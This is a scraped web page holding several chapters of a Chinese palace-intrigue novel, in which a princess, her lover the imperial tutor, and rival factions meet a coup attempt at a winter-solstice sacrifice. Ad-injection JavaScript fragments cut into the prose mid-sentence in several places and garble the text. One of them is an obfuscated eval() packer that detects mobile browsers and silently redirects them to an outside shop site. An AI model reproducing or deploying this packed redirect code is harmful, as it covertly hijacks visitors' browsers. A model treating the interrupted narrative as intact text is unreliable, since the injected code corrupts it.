章 林魏然回来时听公主府的人说——没想到公主这回竟让傅侍郎进门了。 而且两人似乎谈得不错,傅令珏离开公主府时神色尚好,再没了第一回那副带着伤怒气冲冲的模样。 此时已接近黄昏,林魏然自动忽略了那些细小的议论声,径直推开了杨灵允的院门。 一切仿佛都被凝固,细碎的说话声消失不见,风也停止流动。林魏然只看见了坐在秋千上的杨灵允,回头对他笑了起来。 “回来了?” 林魏然笑开,嗯了一声,又上前递出一个盒子,笑道:“打开瞧瞧,合心意么?” 杨灵允挑眉看了看他手上那方墨色匣子,边推开匣子边笑道:“你今日晚回来,就是去买了这个?” 匣子中躺着一只青绿色的镯子,莹润的色泽在黄昏之下泛着点点微光——是难得的好玉。 杨灵允笑吟吟地伸出右手,林魏然拿起镯子替她戴上,边低声说:“这是高僧开过光的,养人。” 说着,镯子很轻易就套上了杨灵允的手腕,青绿色环绕着苍白色。 除却平日在特定场合需盛装之外,杨灵允平日基本什么都不爱戴。 她饶有兴味地甩了甩手腕,镯子滚动在虎口上下,又抬眼看着林魏然笑:“你什么时候开始信这些了?” 林魏然抿抿唇,又替杨灵允调整了一下镯子,轻声道:“喜欢吗?你若不喜欢这个色,我再去换一个。” 青绿色的镯子完美地环绕住了杨灵允的手腕,上好的玉触手温润,也并不累赘。 杨灵允笑开:“我很喜欢,多谢。” 林魏然便很高兴地笑弯了眼,连日的忙碌中磨出的凌厉之色也在这一刻消失殆尽,眉眼中再次盈满生动的少年气。 指尖无意识地摩挲着杨灵允手腕上的那片皮肤,喃喃着:“喜欢就好。玉……能养人。” 他不知道杨灵允到底还在操心什么事,他只知道杨灵允最近消瘦更甚——担忧恐慌也日渐疯涨,自己却束手无策。 甚至已经到了将希望寄托在这种虚无缥缈的东西上的地步。 “我听府上人说,傅令珏又来找你了?” 杨灵允点头:“来说和的。” 其实傅令珏与傅令温是前后脚来的,前脚傅令珏刚走,后脚傅令温就翻墙进了她的院子。 不枉她把傅令珏当年暗箱操作那个西北汉子之死的案卷送到傅令温手上后,就让禁军特意给傅令温留出的一个口子。 不过这些背后弯弯绕绕的事,没必要讲。 杨灵允眼底闪过一丝暗色,继而又笑开,转开话题:“你先前说每天都给我做酥山的,今日份的呢?” 林魏然伸手轻轻弹了弹她的额头,嘴角浮上笑意:“行啦,这就给你做。” …… 林魏然一度以为这种平静的祥和还可以持续很久。至少能持续到十二月末,杨灵允的生辰。 但在七月末的时候,长安已经暗潮涌动。 长安坊市上非议长公主的话本少了许多,取而代之的是三王曾做下的那些腌臜事。 接着的是歌颂长公主惩处三王,大义灭亲,为民除害…… 一时间,杨灵允在长安百姓口中风评扭转,不少人都说,长公主辅政以来处置了不少贪官污吏,如今连空气都清新了不少。 但这些对于坊间百姓来说是茶余饭后的谈资。对于朝中官员来说,这无异于一个信号——长公主一派要有动作了。 一时间,朝中官员心思浮动。人心,蠢蠢欲动。有人下注押宝,有人作壁上观,还有人已经先一步有了动作——譬如天子一派的旧臣。 以王氏为首的天子派系和以傅氏为首的长公主派系的人在朝堂上明争暗斗。一时间,倒没有人分得出手来拖延林魏然的政令推行。 也就在长公主派系和天子派系斗得水深火热的这段时间,林魏然这个板上钉钉的天子派系,白日在朝堂上与长公主派系的某个官员吵架,下了朝便转脚去了公主府,甚至夜夜宿于此。 杨灵允好几次戏谑轻笑:“若是被人知晓,你林太傅可要成众矢之的了。” 林魏然都无所谓地笑笑,然后继续吻上去,唇齿相交间含糊道:“管他呢。只要公主殿下不嫌弃下官就好了。” 幼荷作为知晓所有内情,又亲眼见证一切的唯一一人,实在忍不住了。 有一日趁着林魏然去刑部后,她问杨灵允:“我听说你们两派的人现在斗得火热,你们这样……真没事啊?你不怕他背叛你?他也不怕你背后捅刀?” 血亲之间尚且有怀疑有隔阂,杨灵允与林魏然这种人,心眼子比蜂窝的孔还多,真就毫无顾忌? 幼荷更觉得是杨灵允正在暗暗谋算着什么。 但杨灵允只是轻声笑了下,合上手中书卷:“放在明面上的斗争,都不会斗出一个结果的。所以外面的人如今就算闹翻了天也不会有什么事。等到什么时候事情平息下来,明面下的斗争开始——” 说着她倏得沉默,嘴唇张张合合,在幼荷好奇催促的目光中,却也只轻轻吐出一口气,什么都没说出口。 直到深秋肃杀的时节,两方人马没能分出胜负——京中的动静反而渐渐沉寂下来了。 公主府内的银杏落叶打着旋儿飘落,有一片落叶飘飘荡荡地落到了杨灵允手心,她缓缓合上手心,然后捏碎了手心落叶—— 转头对幼荷笑了:“先前的那些斗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 争都是底下人在斗,牵扯不上我与他。如今,才是真正的开始。” 而她也不知道林魏然究竟会做出什么选择。 …… “你必须做选择了,”政事堂内只有两人,王正安语气冷硬地对林魏然道,“闻九今日上奏,要让长公主与陛下一同去方坛祭天!” 林魏然把玩着手上的玉扳指,缓声道:“公主不是还没答应吗?” “等她答应,我们还有何回旋余地?”王正安终于动怒,用力拍桌,“天子天子,若长公主也去祭天,陛下还有何威严,日后亲政如何压得住人?” “王相,”林魏然轻轻叹口气,“公主不会去的。她比你我更在乎陛下能不能坐稳这个位置。” 王正安冷笑着反驳:“那闻九为何上奏?闻九是谁提拔上来不用我提醒你吧?他可是长公主手中最锋利的一把刀,三王之乱后替她杀了多少三王余党不用我帮你数吧?” 林魏然刚想开口说什么,王正安已经起身将一封密信甩在林魏然面前。 王正安其实已经年迈,面皮上皱纹丛生,背也有些佝偻了,但此时周身满是三朝宰相的威压和不容反驳—— “傅令珏写去西北的密信,被我截了一封下来。傅氏会不择手段地在冬至之日让长公主也去方坛祭天。” “林太傅,”王正安一字一字,少见地以官职唤林魏然,表明自己的态度,声色沉沉,“祭天一事关乎陛下的亲政能否顺利,不是先前那些小打小闹,如今你必须做出决断。” 林魏然展开信,一眼十行地扫过,神色未变,只有信纸周围渐渐泛起了褶皱。 看完信后,他将薄薄的信揉成一团,扬手扔到了火烛之上,阖了阖眼,再次坚称——“她不会去。” “告诉他,明日朝会,我会当众宣布在冬至之日与陛下同去方坛祭天。” 与此同时,公主府内,杨灵允对傅宅的人微笑道。 她话音刚落,一阵风骤然刮过,猛烈得连紧闭的门窗都被吹开了些许。 烈风从公主府一路向北,刮到了政事堂—— 轰的一声,门窗大开。 官袍被烈风吹起,绛紫的衣袖在风中猎猎作响。林魏然起身对王正安淡道:“王相,别担心,我决不会因私废公。” 这一次,王正安终于没再拦着林魏然离开了。 高挑挺拔的身影渐渐消失在政事堂外时,王正安眼神也变得幽深——林魏然大约自己都不愿承认,在这些时日的闹腾后,在傅氏的密信和闻九的奏折后,其实他已经对长公主起了疑心。 什么感情都抵不过铄金毁骨的传言。 王正安缓缓闭了眼睛,遮住了略有浑浊的眼底一闪而过的狠绝。 71. 第 71 章 再过三十日,便是十二月冬至。 届时,长公主将与陛下同去京郊方坛祭天,以祷来年风调雨顺,百姓安康。 朝会之后,这个猝不及防的消息在好不容易安稳了没多久的朝堂中爆炸开来,再次掀起惊涛骇浪。 天子派系为首的王正安、林魏然都单独见过小皇帝,但小皇帝似乎觉得此事并没有他们口中讲得那般严重,兴致缺缺地敷衍了几句便将人打发走。 王正安神色冷凝地从书房出来后,对林魏然说:“此次祭天的护卫全由金吾卫和郑虔负责。” 林魏然沉默片刻,“闻九只掌着左金吾卫,右金吾卫多是上任金吾卫大将军安和的人,不会听闻九的话。” “郑虔……” 先前那桩莫名其妙的婚事再次浮现在林魏然脑海中,他转了转手上的玉扳指,轻声道,“我会去探探他的意图。” 王正安顺了顺胡子,重重吐出一口气,面皮上终于露出些疲惫之色:“容时,冬至过后便是新年。待明年,陛下便已经到了可以亲政的年纪,此次祭天,决不能出什么乱子,拖延陛下亲政。” “我知道。”林魏然低声应下。 王正安站在宫门口,用力拍了拍林魏然的肩,脸色终于有了微微的舒展,褶皱便愈发明显—— “我就知道,你最后一定会做出正确的选择。” 寒风刮过,寒意刺骨。 原来已经到了冬天。 林魏然忽然扬手拨开了王正安的手,盯着他的眼睛缓声道:“王相,一切事情尚未有定论,不要再轻举妄动。” 王正安的瞳孔陡然缩进,干枯的手在半空中有片刻僵硬,但旋即便恢复了寻常神色,甚至眯了眯眼,“你在警告我?” 林魏然垂下手,从喉间挤出一声低笑,不知嘲讽还是苍凉:“不敢。只是告诉王相,像之前那种跟着傅氏添油加醋的举动,还是不要再做了。” “我已经表明了我的立场,不是吗?” 他抬眼看王正安,清亮的黑眸眼底一片漠然。 绛紫的官袍在烈风之中划过一道弧度,然后消失在朱雀大街的尽头。 林魏然来到郑家门口时,偏巧就看见了公主府的轿子离开。车帘摇摇晃晃,却将车内人遮得严严实实,看不清究竟是谁。 但驾车的却仿佛感受到了他的目光,警惕地回头看一眼,正巧就对上了林魏然的目光。 “钱其。”车内人敲了敲车壁,传出平淡的声音,“走罢,不用再看了。” “是公主。” 林魏然收回眼神,心底清楚除了杨灵允,再没人能让钱其这个禁军头头亲自驾车了。 旋即,他便收拾起所有神色,叩开了郑家的大门。 郑虔态度很不好,一副很不欢迎又碍于官职不得不让林魏然进门的态度。 这也能理解,毕竟林魏然数月之前才当众驳了郑家的面子。所以如今郑家连杯热茶都没给林魏然送上来,偏厅之内,只有郑虔和林魏然相对而坐。 林魏然也不在意,转着手中的玉扳指,语气温和,娓娓道来:“我此次前来,是看看郑将军。毕竟冬至的祭天,还需郑将军多费心。” 郑虔冷淡道:“本官自会悉心保护陛下与公主的安全。” 林魏然笑了笑:“只是不知郑将军手上人够不够,毕竟这是在长安,需不需再拨些禁军给郑将军?” “不必,”郑虔毫不犹豫地拒绝了,“一个方坛,当初公主殿下开恩,允我的副将带着人入京,那些兵都是身经百战的好手,足够把整个方坛守得严严实实。” 他到底是武夫,一根筋,没有什么弯弯绕绕的心思。 林魏然垂眸看看手上的玉扳指,轻声笑了:“如此,便要劳烦郑将军了。” 话题结束了,但林魏然仿佛没有离开的意思,就在郑虔不耐地拧起眉头准备下逐客令时,林魏然又开口了—— “郑将军,其实我最近查到一些有意思的事。长安最大的寒食供货商成百万,曾在东南居住过很长一段时间,不知你认不认识他?” 郑虔的手有片刻收紧。但下一刻,他便冷声道:“东南人口不计其数,我难道会全部认识?” “我知道你来做什么,”郑虔起身看林魏然,冷嘲道,“本官会尽力护好陛下与公主,绝不会让祭天一事出半点意外,够了吗?” 他说着伸手向外,是明晃晃的逐客令。 林魏然见状,轻叹一声也起身:“郑将军何必如此,我只是来与将军说说话。” “本官与林太傅没什么话好说。”郑虔态度非常冷漠,几乎在林魏然刚刚踏出郑家大门后,门便被他狠狠拍上,险些碰了鼻子。 林魏然脸上划过一丝无奈,转身时忽然又看见一辆马车停在郑府大门口——驾车的他认识,是郑虔的副将,郑光。 听说郑虔在东南是把他当儿子培养的。 那马车中的人就只能是—— “林太傅。” 利落的声音和他非常熟悉的面庞一同占据了他的感官。 郑昭月掀开车帘下车,对林魏然笑着行了个礼。郑光跟在她身后,也沉默地行了个礼。 冬日的长安日光微凉,郑府的屋檐又遮了半数的光。郑昭月那张脸在微暗间与杨灵允可以称得上一模一样。 但林魏然却觉得她们其实相差甚多。 郑昭月打扮繁复俏丽,完美地融入进了喧嚣富贵的长安,眼底透着一股蓬勃的生气。 而杨灵允穿得素,一年比一年素,发钗首饰什么都懒得戴,最爱做的便是在院子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 种发呆荡秋千,眼底最常有的便是厌倦冷淡。 在片刻的失神间林魏然想起的全是杨灵允曾经生气勃勃的模样。 如果一切都没有发生,如果表哥顺利登基,是不是—— 她也不至于,到病骨支离的地步。 “林太傅?”郑昭月又疑惑地唤了一声。 林魏然匆忙回神,余光瞥见郑光护在郑昭月身后的手。 但他如今的思绪已容不下多的思索,能撑起一副若无其事的样子问好道别一声已是不易。 在他离开后,郑昭月却没急着进门,转头对郑光说:“你瞧他那样子,是不是把我看成了长公主?” 郑光垂眼轻声道:“大小姐是独一无二的。” 郑昭月终于满意地笑了起来,“走吧,哥哥。” “哥哥……”皇城之中,杨灵允久违地去了趟东宫。 这是废太子被幽禁整整三年的地方。 那三年间她买通侍卫偷偷溜进去,眼睁睁地看着原本意气风发的人以肉眼可见的速度消瘦下去,最终死在她眼前。 “公主殿下!”看守的侍卫还是曾经她买通的那几个,但如今已时过境迁,她再也不用偷偷摸摸地进去了。 东宫宫门大开,尘土迎面而来,呛得杨灵允连连咳嗽好几声,甚至咳出了一口血。 侍卫连忙请罪:“公主恕罪!东宫无……” 杨灵允一手掩唇,摆摆手淡淡道:“东宫无人,没人愿意来清扫,我知道。你们出去吧,我自己进去。” 东宫无人,荒草丛生。 杨灵允凭着记忆寻了处地方随意坐下。 墨色的裙摆在发黄的枯草上层层叠叠地铺开,杨灵允盯着不远处朱漆剥落的一扇大门,失神间仿佛又看见坐在那扇门前的哥哥。 “我马上就要走了,”她目光失焦,盯着虚无的那处轻声呢喃,“我不知道你能不能看得见,陛下长大了,他很像你,应当会是个好君主。云氏的人都死了,傅令珏和傅影……他们很快也不会在长安碍你的眼了。” “哥哥,”杨灵允的声音变得轻而恍惚,但神色却非常漠然,只有眼底反射出稀薄的残阳,洇出微红,“在青州的宅子建好了,那是你帮我画的图纸。你说等房子建成,等你登基,你一定会找时间来看我的。” 说着,她忽然抬手狠狠擦过眼角,揪起身边的一簇杂草,揉成团,然后用力往那扇门扔过去。 “你凭什么说话不算数啊?” 但杂草轻飘飘地落了地,没有砸到任何人。 杨灵允怔怔地看着其实空无一人的地方,缓慢地抬手遮住了眼睛。 其实已经很久没有来过这里了。大约是即将要离开长安了,她忽然开始担心若是再不来,自己会不会就真的忘了他。 72. 第 72 章 另一边,林魏然仿佛幽魂一般在空荡无人的大街上游荡。他知道此时已过宵禁,他该赶紧回去,或者找个落脚的地方。 但他却什么都没做,只麻木地在大街上走,甚至希望能碰上夜巡的金吾卫——打一架,或者把他关进金吾狱,都无所谓。 他真的很疲惫了。 但不知是老天眷顾还是什么,他在撞上金吾卫之前被一个巨大的力道拽进了永兴坊内,在提灯的金吾卫到来的前一刻,永兴坊内的一间房屋轻轻落锁—— 林魏然被拉进了一间幽暗的房内,简陋潦草的房内只有一张破旧的桌子,点着一支摇摇晃晃的烛火,跳跃在把他从金吾卫那拦下的人的脸上。 “父亲。”林魏然轻声缓慢地喊了一声,又问道,“你怎么在这?” 其实他早已酒醒,清醒得很。 宁安侯用力拍了好几下桌:“我要是不在这里,你就要让金吾卫抓了知不知道?” “我知道,”林魏然仿佛破罐子破摔,找了个椅子直接坐下来,一副无所谓的模样,“抓就抓了吧。” “别担心,”说着他又短促地笑了一声,“我已经不是宁安侯世子了,不会污了你宁安侯府的门楣。” 宁安侯急火攻心,扬手掀翻了桌子,死寂的屋内爆发出一声巨响。 而没了倚靠的林魏然终于抬眼看他,很疲惫地长长吐出一口气:“好吧,那我谢谢林相对我的出手相助。” 宁安侯所有的动作忽然僵在原地——他第一次见到林魏然露出这种无所谓的、什么都不在乎的模样。 他咬牙狠狠道:“你娘担心你,硬逼着我出来找你,不然你以为我会管你死活?” “那就别管了。“林魏然又垂了眼睛,盯着指尖那个玉扳指,声音平淡,“死不了。” 宁安侯见他这副模样,猛然抬手把林魏然从椅子上拽起来,将他按到一面铜镜前,冷声道:“你瞧瞧你现在什么模样?跟长公主见了几面就变成这副要死要活的模样,你还配做帝师吗?” 帝师这两个字仿佛是什么禁忌,瞬间激怒了林魏然。 他扬手甩开宁安侯的桎梏,冷漠地看着他:“这个帝师是我想做的吗?” 如果他不是帝师,他不是世人眼中板上钉钉的天子派系——他又何至于跟宣和走到如今这个地步。 宁安侯冷笑一声,“别太贪心,若你不是帝师,你以为你那广开科举的政令能推行下去?既然做了,就给我做好。” “你要看清现状,如今不是我们疑心太重针对长公主,是她做的桩桩件件都在威胁着陛下的位置,威胁朝堂的安稳。” “你能给出一个解释吗?解释她为什么要与陛下同去方坛祭天?” 这话瞬间将林魏然钉在原地。 宁安侯看着他这副瞬间失了神的模样,到底缓缓闭了眼睛,重重地叹口气,上前拍了拍他的肩,语气里染上难得的温和,“容时,别犟了。现在与八年前已经截然不同。长公主已经彻底与我们站在对立面了。况且,郑家小姐与长公主样貌也没差… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …” 他的声音中止于林魏然忽然变得黑沉的眼神。 林魏然盯着自己的父亲,眼睛仿佛一摊毫无波动的死水,黑沉沉到近乎阴冷——“别侮辱她,也别侮辱我。” 宁安侯下意识怔愣了片刻,回过神来恼羞成怒地就想扬起手扇他,却被林魏然一把抓住。 林魏然将自己父亲的手控制在半空中,颧骨下的皮肉有细微的颤抖,半晌之后,他似乎是终于调整好了,缓慢地松开了宁安侯的手,甚至还替他抚平了衣袖处的褶皱,然后平心静气地说—— “还没走到最后一步,你们凭什么就认定她去方坛祭天是为了夺权?我没有忘记我的身份,但你们谁也别想逼我。” “林魏然!”宁安侯见林魏然的手已然按上门,不得不高声怒道,“那你到底要做什么?” 林魏然回头看自己的父亲,嘴角忽然扯开很轻微的弧度,声音沙哑:“我要带她离开长安。” 在宁安侯瞳孔骤缩,大怒着骂他不知好歹丧心病狂的时候,他舔了舔干涩的唇,脸上忽然绽开一个艳绝的笑,将他疏朗的五官都染上浓墨重彩,“父亲,不然你以为,我为何要急着广开科举?” “广开科举后,朝堂有了能臣良将,也不缺我一个帝师了。”林魏然垂眼看手上泛着盈盈光芒的玉扳指,眼底亮起异样的光,低声喃喃,然后又抬头看宁安侯,声音陡沉—— “回去转告他们,就算长公主去祭天了又怎样?我会带她离开长安,长安照样不会有任何动乱。” 73. 第 73 章 冬至前两日,小皇帝、长公主一同离开长安,启程去方坛祭天,部分朝臣及家眷伴驾—— 其中王正安、宁安侯、郑虔、林魏然还有闻九,便在伴驾名单的最前面。 方坛比乌山还远些,走走停停大半日,到方坛的时候已经是黄昏了。 方坛祭拜是历朝历代传下来的规矩,夏至祭地,冬至祭天。因而方坛附近早有行宫备着。 从行宫里向外看去,便能看到不远处高耸的方坛祭台。巨大的圆形底盘,台阶层层而上,汇聚到最高处的圆祭坛——这是只有历朝历代的天子才能上去的地方,王公大臣都是按品阶一圈圈在方坛外跪着。 但明日,这场祭天将会多一个人站在圆祭坛之上——临安长公主。 深夜,整个行宫静悄悄的,但无人睡着。 王正安与宁安侯等人忧心忡忡地盘算着祭天流程,生怕出什么岔子。林魏然盯着最中心处杨灵允所在的院子发呆,想着什么时候能离开长安。 而最中心处的院子,杨灵允与小皇帝都是一夜无眠。 翌日,冬至。 祭天大典要开始了。 金吾卫和东南军将整个方坛围得严严实实,目光如炬地盯着每一个人。王公大臣在底下看着小皇帝和杨灵允拾级而上,朝服飘扬在猎猎寒风中,两人逐渐走上了最高的祭坛。 底下最内圈跪着的便是皇室宗亲,但只有一位——先帝的子嗣被杨灵允杀得几乎没剩多少,所以如今伴驾而来的皇室宗亲,只有年迈的老王爷。 接着的便是宁安侯、闻九等一众侯爵,然后是王正安、林魏然等一众高官…… 鼓声轰然响起,钦天监的声音在空旷的方坛上显得悠远飘渺。在回荡的声音中,杨灵允与小皇帝一人手执三柱香,在寒风之中升起细长的烟。 钦天监的祝祷之词还在耳边回荡,杨灵允与小皇帝缓慢地跪在了祭坛前,执香祈祷,无声默念。 就在祝祷完成,两人即将起身将香插入香炉之中时,异变陡生—— 烈风袭来,利箭陡然掀翻了整个祭坛,祭品散落,香灰被烈风卷起在半空飘扬。 整个方坛上下瞬间慌乱——林魏然反应最快,飞身上了祭台将杨灵允和小皇帝护在身后,但出乎他意料的是,祭台上有三个人! 那只利箭掀翻了祭坛,幼荷从其中闪身而出,已经先一步挡在了杨灵允和小皇帝前面。 他下意识回头看杨灵允和小皇帝。 杨灵允神色平静,小皇帝微微抿着唇——仿佛早已料到会有此事。 但事态容不得他们再多废话——方坛下的王公贵族忽然惊怒地大喝道:“你们做什么?” 也就在利箭袭来的下一刻,原本守卫方坛的东南军忽然收紧了圈子,一步步将所有人逼近方坛,已经有人被迫上了台阶。 然后,一个身影自人群中掠过。 人群中的郑昭月忽然飞身而上,也站在了祭台上,站在了杨灵允与小皇帝的对面,她手执一卷明黄圣旨和一枚玉佩,环视着阶下王公贵族,高声道:“我乃端贤皇太后之女,今奉先帝遗诏,清除窃贼,迎禧王殿下之后登基!” 禧王,五皇子杨禧允。 在这一刻杨灵允终于确认了自己的猜测——果然,先前乌山一趟,她遇到的那孩子就是杨禧允的遗孤。 如今正是天光大亮的时候,冬日难得的日光慷慨洒下,照亮了郑昭月那张与杨灵允几乎一模一样的面孔。 在场之人的动作都有瞬间凝滞,犹疑看着祭台上几人。 守卫的东南军还在一点点收紧包围圈,横刀出鞘,凶神恶煞。 杨灵允和小皇帝都没有出声,郑昭月继续高声慷慨陈词:“一年多前,我东南军奉命进京清君侧,却不想被此二人夺了皇位,东南军只得护着禧王遗孤离京。今日,我们终于得了机会,迎回我们真正的天子!” “怎么回事?” “怎么会有两个长公主?” “什么两个长公主?那说话的分明是郑虔之女!” …… 议论声渐渐传开。 杨灵允终于有了动作。 她拨开林魏然和幼荷的保护,直视着郑昭月,忽然笑了一声:“你说你是端贤皇太后之女?你是临安公主?” 郑昭月高举圣旨,昂首道:“不错。一年前我在三王之乱中重伤,一时不查被你这不知哪来的小人占了位置,幸得东南军相助,才有回京讨贼的这一日!” “我手中圣旨,乃是真真正正的先帝遗诏,诸位一看便知!” 她说着扬手展开了那卷明黄圣旨,日光的反射下,皇位继承人的名字写的是—— “杨禧允!” 其中有一人惊喊出声,“是五殿下的名讳!” 一石激起千层浪。 在场之人一时都没顾得上还持刀围着的东南军,视线纷纷落在祭台之上。 “胡言乱语!”王正安与宁安侯厉喝出声,“一年前先帝因急病驾崩,哪有留下什么遗诏?你到底是什么人,竟敢在此惑乱人心?” 其实他们未必是想帮杨灵允,但郑昭月手中的遗诏连小皇帝都牵扯上了,他们不能不出声。 “我这张脸还不够说明一切吗?”郑昭月冷笑出声,“诸位都是见过本宫的,那贼人——” 她说着抬手指着杨灵允,咬牙道,“是用妖术弄了一张与本宫一模一样的脸,鸠占鹊巢。有东南军为本宫作证,本宫手上的圣旨也是先帝亲笔所书,诸位不信,大可上来看看。” 王正安猛地拨开人上前看——他是最熟悉先帝字迹的,这道遗诏,确实是先帝亲笔所书,只是在中间那个禧字的右半部分,有些模糊。 他刚想开口质疑,但已经有人出声了——“这确实是先帝笔迹。” 说话的是个傅氏门生。 王正安抬眼看祭台上又沉默的杨灵允,苍老的眼中忽然闪过一丝幽暗——她勾结傅氏推翻陛下,怎么还把自己也搭上去了? 他眼神落在林魏然身上,却发现林魏然所有的注意力都在杨灵允身上——他甚至用另一只没握刀的手虚虚地护在了杨灵允腰侧。 王正安有瞬间苍老,烈风吹起花白的须发。 不过杨灵允没注意阶下众人浮动的心思,她难得耐心地等到郑昭月把话全部说完,才轻飘飘地开口,“你确实是端贤皇太后之女,仔细算算,你应该算是,本宫的——妹妹。” 她的亲口承认无异于闷棍一般狠狠敲在所有人头上,连林魏然都忍不住侧头往了她一眼。 杨灵允似无知无觉,只继续轻淡开口:“当年母后诞下的乃是一模一样的双生子,宫中忌讳,便照着钦天监所言,将妹妹送去了东南,交由郑虔将军养育。” 站在边上的钦天监适时地连连点头,拼命附和杨灵允的话。 杨灵允抬眼环视一圈,又淡淡道:“诸位若还心存怀疑,待回宫之后本宫可召当年的太医来。这些宫闱秘事,太医们应当知道得最清楚。” “如今妹妹年岁渐长,”杨灵允转头看郑昭月,微笑起来,“也是该认祖归宗,本宫会昭告天下此事。今日之事,都是一个误会。” 这不是一个完美的理由,甚至颇有漏洞——比如什么忌讳能让先帝将天家公主送去一个将军那养? 但是这个说法解释了郑昭月为何与杨灵允长得一模一样,甚至还给了郑昭月一个台阶下,只要她顺着台阶下去,她就是本朝的第二位公主。 但郑昭月显然没有打算顺势而下,杨灵允给出的这个说法似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954307|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还更激怒了她。 圣旨被她再次悉心地收好,然后她冷冷道:“贼子休敢胡言乱语。从头到尾,只有我一个长公主,只有我!” 说着她忽然转头看向东南军,厉喝道:“东南将士听令!给本宫抓这两个身份不明的贼人,本宫重赏!” 场面再次变得混乱。东南军和方坛下的朝臣混杂在一起——还是有不少人站在杨灵允和小皇帝这边的。 在混乱中,杨灵允的眼底忽然极快地闪过一丝笑意。 不过郑昭月没瞧见,她所有的注意力都在方坛之下,见着了下边的混乱,眯了眯眼又扬声道:“本宫只抓这两个胆大包天的窃贼,诸位爱卿什么都不要做,回去照样是权势在手。但若哪位想为贼人出头,休怪东南军的刀无眼。” 她昂首立于祭台,烈风将她的华服吹得猎猎作响,扬起一片华丽的朱红。清晰的声音字字敲在在场所有人的心上,方坛之下有瞬间凝滞。 王正安拉住了气得想与东南军拼了的宁安侯,微微摇摇头,眼神幽深地扫过祭台之上的杨灵允。 然后他示意所有天子一派的人都不要轻举妄动。 方坛之上,林魏然与幼荷沉了脸色,缓缓握紧了手中刀剑,再次将杨灵允和小皇帝护在后面。 郑昭月眼神扫过,便冷笑道:“就凭你们两个人,也想阻挡我东南将士?” 杨灵允从林魏然身后探出脑袋,仿佛还没意识到事情的严重性,若有所思地问道:“你可以控制郑虔麾下的人。我很好奇,郑虔到底知不知道此事?” 这话仿佛戳到了郑昭月的痛处。她神色骤变,抬手拔刀攻过来,咬牙切齿地骂道:“找死!” 幼荷挥剑与她缠斗在一起。林魏然还抬手将杨灵允探出的脑袋按回去,无奈地低声道:“别再煽风点火了。这祭台不大又高,打起来摔下去会要人命的。” 他猜到杨灵允留有后手,只是不知道杨灵允还在等什么。 烈风刮过,弥漫开淡淡的铁锈味。东南将士密密麻麻地顺着台阶靠近祭台,黑压压的一片。 但杨灵允却始终没有动作,只沉默地看着眼前缠斗的幼荷和郑昭月——两人打得势均力敌,难舍难分。 与此同时,在漫天渐渐变淡的日光中,人,也在一点点地靠近。 就在林魏然神色凝重地准备迎敌的时候,杨灵允忽然抬手将他和小皇帝拉到了那个被利箭掀翻的祭坛边上—— “别担心。” 下一刻,利箭如骤雨落下,淹没了她低声的安抚。 台阶上瞬间漫开殷红色,震耳欲聋的声音陡然响起,瞬间炸响整个方坛。 几乎是在转瞬之间,另一批训练有素的士兵从四面八方涌出来,以极快地速度拦住了东南军,两方人马缠斗在一起。 祭台之上暂时变得安全。 郑昭月神色骤变,反身躲开幼荷的剑,撑在台阶边上喘息,难以置信地盯着那批新出现士兵的领头人:“傅令温?傅家的?怎么可能??” 趁她惊鄂,幼荷眼疾手快地一剑刺过,却在最后一刻被杨灵允高声喊停—— “等等!” 也就在这声阻拦间,郑昭月倏然回神,挡开幼荷的剑,退至离她最远的祭台边缘,眼神狠狠剐向杨灵允。 朱红华服在打斗间已经破了不少,她仿佛已经输了,唇边却忽然绽开一抹秾丽的笑,浓墨重彩的五官衬出艳极的笑。 在香灰和尘土糅杂的祭台之上,郑昭月缓缓开口,声音中仿佛都带着浓郁的铁锈味—— “你以为你赢了吗?” “姐,姐。” 她一字一顿地喊出所谓称呼,唇边扯开讥诮更甚的弧度。 祭台上,粘腻的鲜血再次缓慢流动,漫开浓重的血腥味。 74. 第 74 章 杨灵允挑眉望一眼底下正在厮杀的两方人马,又看向郑昭月,没理会她那一番语言,只冷声追问道:“遗诏,哪来的?” 郑昭月冷笑一声,并不说话,但也没有继续攻击,仿佛在等待着什么。 下一刻,一个人影再次从人群中飞身而上,站在了祭台之下的第一级台阶上。 来人的面容在并不明亮的日光下依旧艳丽得晃眼,金丝暗纹的玄色华服在风中飘扬,手上的横刀泛着冷光—— “平,侯。”小皇帝缓缓吐出这两个字,眼神锐利地投向闻九,“你也要造反吗?” 闻九冲着杨灵允和小皇帝行了个礼,微笑道:“陛下误会臣了,臣此次前来,是来清君侧的。” 说着,他抬脚走向了杨灵允这个方向,一眼也没看向郑昭月那个方向。 杨灵允微不可察地将林魏然往小皇帝那边推了推,自己从两人的保护下走出来,微微眯了眯眼:“闻九,去杀了郑昭月。” 闻九的脚步顿在原地,狭长的眼睛看向杨灵允时满是疑惑:“公主,不留活口吗?” “不留,”杨灵允毫不犹豫,“去杀了她,快点。” 闻九便点点头,手上的横刀落下一滴血,他轻声道:“是,公主。” 也就在他话音刚落的那一瞬间,闻九猛然身形暴起,在所有人还未反应过来的时候,泛着冷光的横刀直指杨灵允。 “哐当”一声,两刀相撞,发出剧烈的响声。 林魏然与幼荷合力挡下了闻九这来势汹汹意料之外的一刀。但小皇帝那边便有了缺口。郑昭月眼底闪过亮色,趁胜追击,只是刀再次被反身而来的林魏然拦下。 但空气中却传来一声细微的皮肉划破的声音——紧接着便是一片殷红。 林魏然拦下郑昭曰那一刀时,持刀的上臂被她从袖中甩出的软剑划破了。 鲜血争先恐后地淌下,很快便染红了半截衣袖。小皇帝怒视着已经与郑昭月站在一起的闻九,“你们何时勾结在一起了?” 闻九转了转手中淌血的刀,轻轻笑开:“陛下,臣是来——清君侧的,与一年多前的林太傅是一样的。” 